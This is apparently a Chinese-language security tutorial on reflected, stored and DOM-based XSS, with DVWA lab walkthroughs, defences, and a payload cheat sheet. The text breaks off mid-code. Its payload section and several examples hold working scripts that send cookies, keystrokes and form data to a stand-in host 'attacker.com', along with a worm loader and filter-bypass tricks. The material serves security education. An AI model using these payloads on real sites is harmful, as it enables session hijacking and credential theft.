欢迎光临
我们一直在努力

Web渗透之前后端漏洞-XSS漏洞原理攻击防御全流程

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录太多了第一次放直接给文章吞了,就暂时不放目录了,先给个截图

一、XSS-反射型

反射型 XSS(Reflected Cross-Site Scripting)

一、定义与核心特征

反射型 XSS 是一种非持久性的跨站脚本攻击。恶意脚本不存储在目标服务器上,而是作为请求参数的一部分(通常通过 URL 或表单提交)发送给服务器,服务器直接将未经净化(sanitize)的参数值反射到响应页面中,最终在受害者的浏览器中执行。

“反射”二字的来源:攻击者的恶意数据像镜子一样被服务器“照单全收”并立即弹回给浏览器。


二、攻击原理(分步图解)

关键点:

  • 恶意脚本从未被写入数据库,全程仅存在于 HTTP 请求和响应中。

  • 受害者的浏览器信任来自目标域名的响应,因此会执行其中的脚本。


三、典型代码示例(漏洞与利用)

3.1 存在漏洞的后端代码(PHP + HTML)

<?php
  $search = $_GET['q'];
  echo "<h2>您搜索的关键词是:</h2>";
  echo "<p>" . $search . "</p>";   // 直接输出,未转义
?>

3.2 攻击者构造的恶意链接

http://victim.com/search.php?q=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

受害者的浏览器会:

  • 向 attacker.com 发送包含其 Cookie 的请求 → 会话劫持

  • 也可以直接弹窗钓鱼、伪造表单等

3.3 利用场景扩展(不仅仅是 URL 参数)
  • Referer 头反射:某些网站会将 Referer 值原样打印到页面。

  • User-Agent 反射:统计页面显示浏览器标识,未转义。

  • 表单隐藏字段反射:POST 参数值被回显。


四、反射型 XSS 的危害

尽管反射型无法直接像存储型 XSS 那样“感染”其他用户,但结合社会工程学,它依然能造成严重破坏:

攻击目的具体手段
Cookie 劫持 document.cookie 发送给攻击者 → 免登录进入账户
钓鱼欺骗 伪造登录框、中奖信息,诱骗用户输入密码
内网扫描 通过 JavaScript 的 fetch 探测内网 IP 和端口
键盘记录 监听 onkeydown 事件,记录敏感输入
会话固定攻击 在 URL 中植入特定 SESSIONID,然后诱使用户登录
强制下载恶意文件 使用 location.href 重定向到恶意软件下载链接

真实案例:2018 年某知名招聘网站反射型 XSS 漏洞曾导致求职者点击“简历预览”链接后,Cookie 被窃取,账户内简历信息被批量导出。


五、与其他 XSS 类型的对比

特性反射型 XSS存储型 XSSDOM 型 XSS
恶意脚本存储位置 不存在(仅存在于请求中) 服务器数据库/文件系统 不存在(纯客户端)
触发时机 用户点击恶意链接 访问任何包含漏洞的页面 前端代码直接操作 location.hash 等
危害范围 单个用户(需要诱导) 所有访问受影响页面的用户 当前页面上下文
检测难度 低(抓包可见参数反射) 中(需检查存储点) 高(需审计 JS 逻辑)
典型修复方式 输出编码 + 输入过滤 输入过滤 + 输出编码 + 数据库存储转义 避免 innerHTML、eval,使用安全 API
是否需要服务器配合 是(服务器反射参数) 是(服务器存储) 否(纯客户端)

六、检测方法(手工 + 自动化)

6.1 手工测试步骤
  • 注入检测字符串:在 URL 参数或表单中插入 '、"、<、> 等特殊字符,观察页面源码是否原样输出。

  • 简单 payload:<script>alert(1)</script>

  • 检查不同上下文:

    • HTML 属性内:"><script>alert(1)</script>

    • JavaScript 代码内:'};alert(1);//

    • CSS 内:</style><script>alert(1)</script>

  • 6.2 自动化扫描工具
    • Burp Suite (Intruder):用 Payload 字典批量发包,检测响应中的反射模式。

    • XSStrike:专门检测 XSS 的主动扫描工具,支持绕过 WAF。

    • AWVS / AppScan:商业漏洞扫描器,通常能发现反射型 XSS。

    6.3 利用浏览器的开发者工具
    • 在 Network 面板查看请求参数是否完整返回。

    • 在 Elements 面板查看注入点是否被解析为 HTML/JS 标签。


    七、防御措施(纵深防御)

    7.1 输出编码(最有效)

    根据输出位置进行相应的转义:

    输出上下文编码方式示例
    HTML 标签之间 HTML 实体编码 < → <,> → >
    HTML 属性值 十六进制编码或实体编码 " → "
    <script> 内部 JavaScript 转义 ' → \\' 或 \\x27
    CSS 内 CSS 转义 ; → \\3B
    URL 参数值 URL 编码 < → %3C

    安全函数示例:

    • PHP:htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8')

    • Java:StringEscapeUtils.escapeHtml4()

    • Python:html.escape()

    7.2 输入过滤与验证
    • 白名单验证:数字、字母、特定格式(如日期)。

    • 黑名单过滤:移除 <script>、javascript:、onload= 等危险字串(注意绕过风险)。

    注意:输入过滤不能代替输出编码,因为攻击数据可能以不同方式进入服务器(如数据库存储后再输出)。

    7.3 使用 HTTP 头增强防护
    • Content-Security-Policy (CSP):限制脚本来源,例如:

      Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'

      可以阻止执行内联 <script> 和 eval() 类代码。

    • X-XSS-Protection(已废弃但仍有部分浏览器支持):

      X-XSS-Protection: 1; mode=block

    7.4 设置 Cookie 的 HttpOnly 标志

    Set-Cookie: sessionid=abc123; HttpOnly

    这样,即使存在 XSS,攻击者也无法通过 document.cookie 窃取该 Cookie。


    八、反射型 XSS 的局限性

    • 需要用户交互:必须诱使用户点击恶意链接或提交恶意表单。

    • 可能被短链接服务屏蔽:某些平台会检测可疑域名。

    • 部分浏览器内置 XSS 过滤器(已逐渐废弃)可能拦截。

    • HTTPS 下的 Referer 头可能不携带完整 URL,影响攻击传递。


    九、实战练习建议

    在本地靶场环境中练习反射型 XSS 的发现与利用:

    • DVWA (XSS reflected):设置难度从 low 到 impossible,观察代码变化。

    • bWAPP (Buggy Web Application):包含反射型 XSS 的不同上下文实例。

    • PortSwigger Web Security Academy:提供在线反射型 XSS 实验,附解题说明。


    十、靶场演示

    在 DVWA 的 Reflected XSS 模块中,通过注入 <script>alert(1)</script> 使浏览器弹窗,验证反射型 XSS 漏洞的存在。


    操作步骤
    启动靶场并登录
    • 确保 DVWA 环境已配置(如使用 XAMPP、Docker 或在线靶场)

    • 访问 DVWA 首页,输入用户名/密码(默认 admin/password)

    • 在左侧菜单中将 Security Level 设置为 low

    进入反射型 XSS 模块
    • 点击左侧导航栏 XSS (Reflected)

    观察正常输入
    • 页面上方有一个输入框:“What's your name?”

    • 正常输入任意字符串(例如 test),点击 Submit 按钮

    • 页面会显示:Hello test,URL 变成类似:

      http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=test#

    注入恶意脚本
    • 在输入框中输入:

      <script>alert(1)</script>

    • 点击 Submit 按钮

    触发漏洞
    • 浏览器立即弹出一个对话框,内容为 1

    • 同时 URL 变为:

      http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>alert(1)</script>


    漏洞原理解析

    查看 DVWA Low 级别的后端源码:

    <?php
    header ("X-XSS-Protection: 0");   // 关闭浏览器自带的XSS过滤器

    if( array_key_exists( "name", $_GET ) && $_GET[ "name" ] != NULL ) {
      echo '<pre>Hello ' . $_GET[ "name" ] . '</pre>';
    }
    ?>

    • 没有对 name 参数做任何过滤或转义,直接将用户输入拼接到 HTML 中

    • 输入 <script>alert(1)</script> 后,最终返回给浏览器的 HTML 片段为:

      <pre>Hello <script>alert(1)</script></pre>

    • 浏览器解析 HTML 时,将 <script> 视为 JavaScript 代码并执行


    反射型 XSS 的关键特征
    • 恶意脚本不存储在服务器,仅通过 URL 参数或表单传递

    • 需要诱导用户点击特制链接(例如:http://dvwa/vulnerabilities/xss_r/?name=<script>alert(1)</script>)

    • 服务器立即“反射”输入内容到响应页面

    十一、总结

    反射型 XSS 虽然不是最危险的 XSS 类型(存储型通常危害更大),但它由于出现频率高、检测简单、修复容易,是渗透测试入门必须掌握的漏洞之一。开发人员应当牢记:

    所有用户输入的数据在输出到 HTML 之前都必须进行上下文敏感的编码,永远不要信任浏览器会无害化处理。

    二、XSS-储存型

    存储型 XSS(Stored Cross-Site Scripting)

    一、定义与核心特征

    存储型 XSS 是一种持久性的跨站脚本攻击。恶意脚本被永久存储在目标服务器上(如数据库、文件系统、评论框等),当其他受害者访问包含该恶意脚本的页面时,脚本会自动从服务器加载并在其浏览器中执行。

    “存储”二字的来源:攻击者的恶意数据像“毒药”一样被保存在服务器中,每个访问该页面的用户都会“中毒”。


    二、攻击原理(分步图解)

    关键点:

    • 恶意脚本持久化存储在服务器端,无需再次注入。

    • 任何访问受影响页面的用户都可能成为受害者,攻击半径极大。


    三、典型代码示例(漏洞与利用)

    3.1 存在漏洞的后端代码(PHP + MySQL)

    // 存储评论(写入数据库)
    $comment = $_POST['comment'];
    $query = "INSERT INTO comments (content) VALUES ('$comment')";
    mysql_query($query);

    // 显示评论(从数据库读取)
    $result = mysql_query("SELECT content FROM comments");
    while($row = mysql_fetch_array($result)){
      echo "<div>" . $row['content'] . "</div>";   // 直接输出,未转义
    }

    3.2 攻击者提交的恶意评论

    <script>
      fetch('http://attacker.com/steal?cookie=' + document.cookie);
    </script>

    此后,所有访问该留言板的用户,浏览器都会自动向攻击者服务器发送其 Cookie。

    3.3 常见存储点
    • 评论区、论坛帖子、留言板

    • 用户个人资料(昵称、签名、自我介绍)

    • 商品评价、问答区

    • 聊天记录(WebSocket 实时消息)

    • 文件上传后的文件名/描述


    四、存储型 XSS 的危害(对比反射型更严重)

    危害类型具体表现
    大规模会话劫持 所有访问页面的用户的 Cookie 都被窃取,攻击者可批量登录账户
    持久性网页挂马 恶意脚本长期存在,搜索引擎爬虫也可能触发,导致网站被标记为“危险”
    蠕虫传播 结合 CSRF(跨站请求伪造),恶意脚本可自动发帖、关注、私信,形成 XSS 蠕虫(如 2005 年 Samy 蠕虫)
    键盘记录 监听页面的所有按键输入,窃取密码、信用卡号等
    钓鱼表单覆盖 动态生成假的登录框,覆盖在正常页面上,骗取用户凭证
    内部网络扫描 利用受害者的浏览器对内网 IP 和端口进行探测,绘制内网拓扑
    浏览器漏洞利用 通过脚本加载浏览器漏洞(如 Heap Spray)实现远程代码执行

    著名案例:

    • Samy 蠕虫(2005):在 MySpace 上利用存储型 XSS,20 小时内感染超过 100 万用户。

    • Twitter(2010):通过“onmouseover”事件注入,导致用户鼠标划过即转发恶意推文。


    五、与反射型 XSS 的对比

    特性存储型 XSS反射型 XSS
    恶意脚本存储位置 服务器数据库/文件系统 不存在(仅在请求中)
    触发方式 自动执行(访问即触发) 需要诱导用户点击恶意链接
    危害范围 所有访问受影响页面的用户 单个用户(需社工)
    持久性 永久(除非手动删除) 一次性
    是否需要钓鱼链接
    检测难度 低(容易通过源码审计发现) 中(需遍历参数)
    典型修复方式 输入过滤 + 输出编码 + 安全存储 输出编码 + CSP

    六、检测方法

    6.1 手工测试步骤
  • 找到用户输入并存储的位置(如评论框、个人签名)。

  • 提交典型 payload:

    <script>alert(1)</script>

  • 刷新页面或让其他用户访问,观察是否弹窗。

  • 尝试绕过过滤(如大小写、双写、编码等)。

  • 6.2 自动化工具
    • Burp Suite (Active Scan):自动提交 payload 并检查页面响应。

    • XSStrike:支持存储型 XSS 的检测与模糊测试。

    • AWVS / AppScan:商业扫描器中通常有存储型 XSS 检测模块。

    6.3 需要注意的地方
    • 存储型 XSS 可能不在同一个页面提交和显示(如管理员审核面板、用户个人页),因此需要遍历所有输出点。

    • 有些存储型 XSS 需要特定权限才可见(如管理员后台),普通用户注入的 payload 可能在后台被执行,形成“二阶 XSS”。


    七、防御措施(纵深防御)

    7.1 输出编码(最有效,与反射型相同)
    输出上下文编码方式
    HTML 标签之间 HTML 实体编码(< → <)
    HTML 属性值 十六进制编码或实体编码
    <script> 内部 JavaScript 转义
    CSS 内 CSS 转义
    URL 参数值 URL 编码

    安全函数示例:

    • PHP:htmlspecialchars($input, ENT_QUOTES, 'UTF-8')

    • Java:StringEscapeUtils.escapeHtml4()

    • Python:html.escape()

    • .NET:WebUtility.HtmlEncode()

    7.2 输入过滤与白名单
    • 对富文本内容(如允许 <b>、<i>)使用安全的解析库(如 DOMPurify、HTML Purifier),剔除危险标签和事件属性。

    • 限制输入长度,降低攻击载荷的复杂度。

    7.3 使用 Content Security Policy (CSP)

    Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxxx'

    • 禁止执行内联脚本(script-src 'unsafe-inline' 被移除)。

    • 限制脚本只能从特定域名加载。

    7.4 Cookie 安全属性

    Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

    • HttpOnly:禁止 JavaScript 访问 Cookie。

    • Secure:仅通过 HTTPS 传输。

    • SameSite=Strict:限制跨站请求携带 Cookie。

    7.5 其他加固措施
    • 开启浏览器内置 XSS 过滤器(但作用有限,且在逐渐废弃)。

    • 使用框架的自动转义功能(如 React 默认转义、Angular 的上下文安全)。

    • 定期审查数据库中的用户输入,清理可疑脚本(作为事后补救)。


    八、存储型 XSS 的绕过技巧(攻击者视角)

    防御总是滞后于攻击,了解绕过手段有助于加强防护。

    绕过方法示例对抗措施
    大小写混淆 <ScRiPt>alert(1)</ScRiPt> 使用大小写不敏感的过滤器
    双写关键字 <scr<script>ipt>alert(1)</scr</script>ipt> 递归过滤或使用专业解析库
    编码绕过 <script>alert(1)</script> 在输出编码前进行输入标准化
    事件属性 <img src=x onerror=alert(1)> 移除所有事件属性(如 on*)
    CSS 表达式 <div style="background:url('javascript:alert(1)')"> 限制 style 属性或使用 CSP
    SVG 标签 <svg onload=alert(1)> 白名单允许的标签(富文本场景)

    九、实战练习建议

    在本地靶场中练习存储型 XSS 的发现与利用:

    靶场对应模块
    DVWA XSS (Stored) – Low/Medium/High/Impossible
    bWAPP XSS – Stored (Blog)
    PortSwigger Web Security Academy Stored XSS into HTML context
    XSS Challenges Stage #3 开始涉及存储型

    推荐练习步骤:

  • Low 级别:直接注入 <script>alert(1)</script>,观察效果。

  • Medium 级别:尝试绕过 str_replace 过滤(如 <scr<script>ipt>)。

  • High 级别:学习 htmlspecialchars 的作用,尝试寻找新的注入点。

  • Impossible 级别:理解为什么存储型 XSS 在这里被彻底防御。


  • 十、靶场演示

    在 DVWA 的 Stored XSS 模块中,通过留言板的 Name 字段注入 <script>alert(1)</script>,使得该脚本永久存储到数据库,每次访问页面时自动执行。


    详细操作步骤
    1、环境准备
    • 确保 DVWA 安全级别设置为 low

    • 登录 DVWA(默认 admin/password)

    • 点击左侧导航 XSS (Stored)

    2、观察正常功能

    页面是一个留言板(Guestbook),包含两个输入框:

    • Name(名字)

    • Message(留言内容)

    • 提交后,下方会显示所有访客的姓名和留言。

    3、尝试直接注入(遇到长度限制)
    • 在 Name 输入框中输入:<script>alert(1)</script>

    • 发现输入框最多只能输入 10 个字符(HTML 中 maxlength=10),无法完整输入 payload。

    4、绕过前端长度限制
    • 在页面上右键 → 检查元素(或按 F12 打开开发者工具)

    • 找到 Name 输入框对应的 HTML 代码:

      <input type="text" maxlength="10" size="30" name="txtName">

    • 双击 maxlength="10",将其修改为一个较大的值(如 100)或直接删除该属性。

    • 修改后,输入框不再限制长度。

    5、注入恶意脚本
    • 在 Name 输入框中输入:<script>alert(1)</script>

    • Message 输入框可以留空或填写任意内容(如 1)

    • 点击 Sign Guestbook 按钮提交。

    6、触发存储型 XSS
    • 提交后,页面刷新,留言板下方会显示:

      Name: <script>alert(1)</script>
      Message: 1

    • 同时浏览器立即弹出一个对话框,内容为 1(说明脚本已执行)

    • 即使刷新页面或重新进入该模块,弹窗依然会出现 —— 因为恶意脚本已存储在数据库中。


    漏洞原理解析

    查看 DVWA Low 级别的后端源码:

    $message = trim($_POST['mtxMessage']);
    $name = trim($_POST['txtName']);

    // 对输入进行转义(防止SQL注入)
    $message = mysql_real_escape_string($message);
    $name = mysql_real_escape_string($name);

    // 插入数据库
    $query = "INSERT INTO guestbook (comment, name) VALUES ('$message', '$name')";

    // 显示留言时直接输出:
    // echo "<div>Name: " . $name . "</div>";

    • 数据库转义(mysql_real_escape_string)只防止 SQL 注入,不转义 HTML 标签。

    • 从数据库取出 $name 后,直接拼接进 HTML 页面,没有使用 htmlspecialchars() 等输出编码函数。

    • 因此 <script> 标签被浏览器正常解析执行

    十一、总结

    存储型 XSS 是 XSS 类型中危害最大的一种,因为它无需用户交互即可影响大量用户。防御的核心原则是:

    永远不要信任任何从数据库中取出的数据,在输出时必须进行上下文敏感的编码。

    对于开发团队,建议采用框架级自动转义 + 内容安全策略(CSP) 作为主要防线,并定期进行安全审计和自动化扫描。

    三、XSS-DOM型

    DOM 型 XSS(DOM-based Cross-Site Scripting)

    一、定义与核心特征

    DOM 型 XSS 是一种纯客户端的跨站脚本攻击。漏洞不在服务器端代码,而是由于前端 JavaScript 在操作 DOM 时,不安全地处理用户可控的输入(如 document.location、document.referrer、location.hash 等),并将恶意数据直接写入 HTML 或执行,从而导致脚本在受害者浏览器中执行。

    与反射型/存储型的本质区别:恶意脚本不需要经过服务器,完全是浏览器端的安全问题。服务器返回的页面本身是正常的,但页面中包含的 JavaScript 代码存在缺陷。


    二、攻击原理(分步图解)

    关键点:

    • 服务器响应完全不包含恶意代码。

    • 恶意代码是在客户端由 JavaScript 动态生成并执行。

    • URL 中的 #(片段标识符)部分不会发送到服务器,因此难以通过日志检测。


    三、典型漏洞代码示例

    3.1 危险写法 1:直接操作 location.hash

    // 漏洞代码:从hash中获取参数并直接写入HTML
    var name = location.hash.substring(1); // 获取 # 后面的内容
    document.getElementById("welcome").innerHTML = "Hello " + name;

    攻击者构造:http://victim.com/index.html#<img src=x onerror=alert(1)>

    3.2 危险写法 2:使用 document.write

    // 漏洞代码:从URL参数中读取并写入
    var param = location.search.split('=')[1];
    document.write(param);

    攻击者构造:http://victim.com/index.html?name=<script>alert(1)</script>

    3.3 危险写法 3:使用 eval 或 setTimeout 拼接字符串

    // 漏洞代码:动态执行代码
    var callback = location.hash.substring(1);
    eval(callback);   // 如果传入 "alert(1)" 就会执行

    3.4 危险写法 4:修改 innerHTML 或 outerHTML

    var userInput = location.search.split('=')[1];
    document.getElementById("output").innerHTML = userInput;


    四、DOM 型 XSS 的常见注入源

    来源说明示例
    document.URL 完整 URL 攻击者可在 URL 任意部分注入
    document.location / location.href 当前 URL 同上
    location.hash URL 中 # 后的部分 最常用,因为不发送到服务器
    location.search URL 中 ? 后的参数 某些前端 SPA 会读取
    document.referrer 来源页面 URL 可被攻击者伪造
    document.cookie 虽然不常见,但若被恶意写入再读取也会有问题 跨子域风险

    五、与反射型/存储型 XSS 的对比

    特性DOM 型 XSS反射型 XSS存储型 XSS
    恶意代码位置 客户端 URL(hash/search) 服务器响应中 服务器数据库
    是否需要服务器参与 否(仅有静态资源) 是(服务器反射) 是(服务器存储+输出)
    检测方法 需要审计 JavaScript 代码 抓包看参数反射 提交后看持久化效果
    WAF 能否防御 难,因为流量正常 容易,可检测参数特征 容易,可检测存储内容
    修复方式 前端 JS 安全编码 后端输出编码 后端输出编码/输入过滤
    日志可见性 无(hash 不记录) 有(URL 全路径) 有(数据库内容)

    六、DOM 型 XSS 的危害

    与反射型/存储型类似,但由于它完全绕过服务器,有以下特殊危害:

    • 隐蔽性极高:# 后的内容不会出现在服务器日志,难以溯源。

    • 可配合前端路由:现代 SPA 应用(React、Vue、Angular)中,若使用不安全的 innerHTML 或 dangerouslySetInnerHTML,极易出现 DOM XSS。

    • 绕过常见防护:服务器端的 htmlspecialchars() 和 WAF 规则无法防御,因为它们根本看不到恶意数据。

    • 影响范围:单次点击(同反射型),但若与存储结合(如将恶意链接保存在数据库中),可变成存储型 DOM XSS。


    七、检测方法

    7.1 手工测试
  • 在 URL 的 # 后插入简单 payload:

    http://victim.com/page.html#<script>alert(1)</script>

  • 观察是否有弹窗。

  • 尝试不同位置:?param=<script>alert(1)</script>、#、以及修改 document.referrer(通过钓鱼页面)。

  • 7.2 查看前端代码
    • 打开浏览器开发者工具 → 查看页面中是否存在以下危险函数:

      • innerHTML、outerHTML

      • document.write()

      • eval()、setTimeout()、setInterval() 带动态参数

      • location.hash / location.search 被直接使用

    7.3 自动化工具
    • DOMinator:专门检测 DOM XSS 的工具。

    • Burp Suite 的 DOM Invader:内置的 DOM XSS 检测模块。

    • Google 的 DOM Snitch:浏览器扩展,监控危险 sink 函数。


    八、防御措施

    8.1 避免使用危险的 sink 函数
    • 尽量使用 textContent 或 innerText 替代 innerHTML。

    • 避免使用 document.write()(已被现代开发模式淘汰)。

    • 禁用 eval()、new Function(),或严格审查传入的字符串。

    8.2 使用安全的 API
    • DOMPurify:对 HTML 内容进行净化,剔除危险标签和属性。

    • sanitize-html(Node.js 端)或前端类似库。

    8.3 输出编码(前端也要做)

    // 自定义转义函数
    function escapeHTML(str) {
      return str.replace(/[&<>]/g, function(m) {
          if (m === '&') return '&amp;';
          if (m === '<') return '&lt;';
          if (m === '>') return '&gt;';
          return m;
      });
    }
    document.getElementById("out").textContent = escapeHTML(userInput);

    8.4 启用 CSP(内容安全策略)
    • CSP 可以限制 eval() 的执行,并禁止内联脚本。

    • 使用 strict-dynamic 和 nonce 机制。

    8.5 对 URL 参数进行严格校验
    • 如果必须使用 location.hash,应采用白名单方式,而不是直接插入 DOM。


    九、DOM 型 XSS 的绕过技巧(攻击者视角)

    绕过方法示例对抗措施
    使用 # 绕过 WAF http://victim.com/#<script>alert(1)</script> 前端转义 + CSP
    利用 javascript: 伪协议 <a href="javascript:alert(1)"> 限制链接 scheme
    编码混淆 #\\u003cscript\\u003ealert(1)\\u003c/script\\u003e 前端先解码再转义
    利用 DOM 属性 #<img src=x onerror=alert(1)> 白名单标签/属性
    绕过基于关键字的过滤 #<ScRiPt>alert(1)</ScRiPt> 大小写不敏感匹配

    十、实战练习(DVWA DOM XSS)

  • 设置安全级别为 low。

  • 模块中通常有一个下拉选择框(语言选择),URL 类似:

    http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English

  • 观察前端 JavaScript(查看源代码):

    var lang = document.location.href.split('default=')[1];
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

  • 构造恶意 URL:

    http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert(1)</script>

  • 点击提交,页面会弹出 1。(注意这里的 <script> 被 document.write 写入,浏览器执行)

  • Medium/High 级别会尝试过滤 <script> 等关键字,可以使用 <img src=x onerror=alert(1)> 或大小写绕过。


    十一、总结

    DOM 型 XSS 是前端安全的核心问题,随着单页应用(SPA)的流行,它的危害也在增加。防御的关键在于:

    • 永远不要信任客户端的数据源(URL、hash、referrer)。

    • 使用安全的 DOM 操作方法(textContent 代替 innerHTML)。

    • 实施 Content Security Policy 作为最后一道防线。

    四、XSS-常用payload

    以下汇总了 XSS 攻击中常用的有效载荷(Payload),按功能和应用场景分类。所有内容仅供安全测试和学习使用,请勿用于非法用途。


    一、基础验证 Payload(用于确认漏洞存在)

    Payload说明
    <script>alert(1)</script> 最简单的弹窗,测试基本执行
    <script>alert(document.domain)</script> 弹出当前域名
    <script>alert(document.cookie)</script> 弹出当前页面的 Cookie(验证能否窃取)
    <script>console.log('XSS')</script> 在控制台输出,隐蔽性强
    <img src=x onerror=alert(1)> 利用图片加载失败触发,绕过 <script> 过滤
    <svg onload=alert(1)> SVG 标签直接加载执行
    <body onload=alert(1)> 页面加载时触发
    <input onfocus=alert(1) autofocus> 自动聚焦触发
    <iframe src="javascript:alert(1)"> 利用 javascript: 伪协议

    二、窃取 Cookie 与会话劫持

    Payload说明
    <script>fetch('http://attacker.com/steal?c='+document.cookie)</script> 发送 Cookie 到攻击者服务器
    <img src=x onerror="new Image().src='http://attacker.com/steal?c='+document.cookie"> 通过图片请求外传 Cookie
    <script>document.location='http://attacker.com/steal?c='+document.cookie</script> 重定向到攻击者网站并带上 Cookie
    <script>navigator.sendBeacon('http://attacker.com/steal', document.cookie)</script> 使用 sendBeacon API,即使页面关闭也会发送
    <script>WebSocket('ws://attacker.com:8080').send(document.cookie)</script> 通过 WebSocket 外传数据

    注意:如果 Cookie 设置了 HttpOnly,则 document.cookie 无法读取,但其他敏感信息(如页面内容、token)仍可能被窃取。


    三、键盘记录与表单劫持

    Payload说明
    <script>document.onkeypress=function(e){fetch('http://attacker.com/log?k='+e.key)}</script> 记录用户按键并发送
    <script>document.getElementById('login').onsubmit=function(){fetch('http://attacker.com/steal',{method:'POST',body:new FormData(this)})}</script> 劫持表单提交,窃取用户名/密码
    <input type="password" name="fake" onchange="fetch('http://attacker.com?p='+this.value)"> 伪造密码输入框

    四、内网探测与端口扫描

    Payload说明
    <img src="http://192.168.1.1:80" onerror="alert('内网IP存活')"> 探测内网主机是否在线
    <script>fetch('http://192.168.1.1:8080').catch(e=>console.log('端口关闭'))</script> 扫描内网服务端口
    <script>new Image().src='http://10.0.0.1:22'</script> 利用图片加载超时判断端口开放

    五、钓鱼与欺骗

    Payload说明
    <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">钓鱼内容</div> 覆盖整个页面,伪造登录框
    <script>document.body.innerHTML='<form action="http://attacker.com/phish"><input name=user><input type=password><input type=submit>'</script> 完全替换页面内容为钓鱼表单
    <a href="javascript:alert('钓鱼链接')">点击领奖</a> 伪装成正常链接

    六、绕过长度限制

    Payload说明
    <svg/onload=alert(1)> 利用自闭合标签,减少字符
    <script/src=//attacker.com/x.js> 加载外部脚本,绕过长度限制
    <body/onload=alert(1)> 极短 payload(17 字符)
    <q/oncut=alert(1)> 利用剪贴板事件(短且隐蔽)

    七、绕过标签过滤(WAF 绕过技巧)

    7.1 大小写混淆
    • <ScRiPt>alert(1)</sCrIpT>

    7.2 双写关键字
    • <scr<script>ipt>alert(1)</scr</script>ipt>(过滤后留下 <script>alert(1)</script>)

    7.3 使用 HTML 实体编码
    • <script>alert(1)</script>

    7.4 使用 Unicode 编码
    • <script>\\u0061\\u006c\\u0065\\u0072\\u0074(1)</script>

    7.5 使用 javascript: 伪协议
    • <a href="javascript:alert(1)">click</a>

    • <iframe src="javascript:alert(1)">

    7.6 使用事件属性(无需 <script> 标签)
    事件示例
    onerror <img src=x onerror=alert(1)>
    onload <body onload=alert(1)>
    onmouseover <div onmouseover=alert(1)>hover</div>
    onfocus <input onfocus=alert(1) autofocus>
    onclick <button onclick=alert(1)>click</button>
    onauxclick <button onauxclick=alert(1)>右键点击</button>
    onkeydown <input onkeydown=alert(1)>
    7.7 利用 CSS 表达式(仅旧版 IE)
    • <div style="width:expression(alert(1))">

    7.8 利用 <meta> 刷新
    • <meta http-equiv="refresh" content="0;javascript:alert(1)">


    八、DOM 型 XSS 专用 Payload

    Payload利用上下文
    #<script>alert(1)</script> 通过 location.hash 注入
    ?default=<script>alert(1)</script> 通过 location.search 注入
    javascript:alert(1) 点击链接执行(需有 a 标签)
    "><svg/onload=alert(1)> 闭合 HTML 属性后注入

    九、存储型 XSS 持久 Payload

    • XSS 蠕虫:通过脚本自动发帖、关注、评论,感染更多用户。

      // 假设留言表单的提交函数是 post_comment()
      var script = document.createElement('script');
      script.src = 'http://attacker.com/xss_worm.js';
      document.body.appendChild(script);
      // worm.js 中包含自动提交恶意留言的代码

    • 后台管理盲打:注入到后台管理页面,窃取管理员 Session。

      <script>new Image().src='http://attacker.com/steal?url='+location.href+'&cookie='+document.cookie</script>


    十、测试 Payload 速查表

    以下 Payload 可按顺序测试目标是否存在 XSS:

  • <script>alert(1)</script>

  • <img src=x onerror=alert(1)>

  • <svg onload=alert(1)>

  • <body onload=alert(1)>

  • <input onfocus=alert(1) autofocus>

  • <iframe src="javascript:alert(1)">

  • <a href="javascript:alert(1)">click</a>

  • "><script>alert(1)</script>

  • ' onerror=alert(1) src=x

  • javascript:alert(1)


  • 注意事项

    • HttpOnly Cookie 无法通过 document.cookie 读取,但其他敏感信息(如页面中的 token、CSRF token)仍可能被窃取。

    • CSP 可以阻止大部分内联脚本和 eval(),需要使用更复杂的绕过(如利用现有白名单资源、base-uri 等)。

    • 所有测试必须在授权环境下进行,未经授权使用这些 Payload 属于违法行为。

    五、XSS-防御和绕过

    XSS 的攻防是一场持续的博弈。防御方需要层层设防(纵深防御),而攻击方则不断寻找过滤规则中的漏洞。以下从防御措施和绕过技术两个维度详细展开,所有内容仅供授权安全测试使用。


    一、XSS 防御体系(多层次防御)

    1. 输出编码(最核心、最有效)

    无论用户输入如何,在输出到 HTML 页面时,根据上下文进行正确的编码,使恶意代码失去执行能力。

    输出上下文编码方式示例(PHP)
    HTML 标签之间 HTML 实体编码 htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8')
    HTML 属性值(双引号内) 十六进制或实体编码 " 或 "
    HTML 属性值(单引号内) 十六进制编码 '
    <script> 内部 JavaScript 转义 addslashes() 或自定义 \\xHH 转义
    CSS 内部 CSS 转义 将 ; 转为 \\3B 等
    URL 参数 URL 编码 rawurlencode()

    关键原则:不要试图“过滤”输入,而要“编码”输出。输入过滤很可能被绕过,但正确的输出编码能确保任何危险字符都变成无害的文本。

    2. 内容安全策略(CSP)

    CSP 是浏览器提供的最后一道防线,可以极大限制 XSS 的影响。

    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';

    推荐配置(严格模式):

    Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';

    重要指令:

    • script-src 'nonce-<random>':仅允许包含特定 nonce 的内联脚本执行。

    • script-src 'strict-dynamic':信任已加载的脚本动态创建的其他脚本。

    • object-src 'none':禁止 Flash 等插件。

    • base-uri 'self':限制 <base> 标签,防止脚本路径劫持。

    CSP 虽然强大,但配置复杂且可能破坏原有功能,需要逐步部署。

    3. 输入过滤与白名单

    对于特定格式的输入(如邮件地址、数字 ID),使用白名单正则验证。对于富文本(如博客评论),使用安全解析库(而非自己写正则)。

    推荐库:

    • HTML Purifier (PHP)

    • DOMPurify (JavaScript)

    • Jsoup (Java)

    • Sanitize (Ruby)

    示例(DOMPurify):

    var clean = DOMPurify.sanitize(dirtyHtml, {
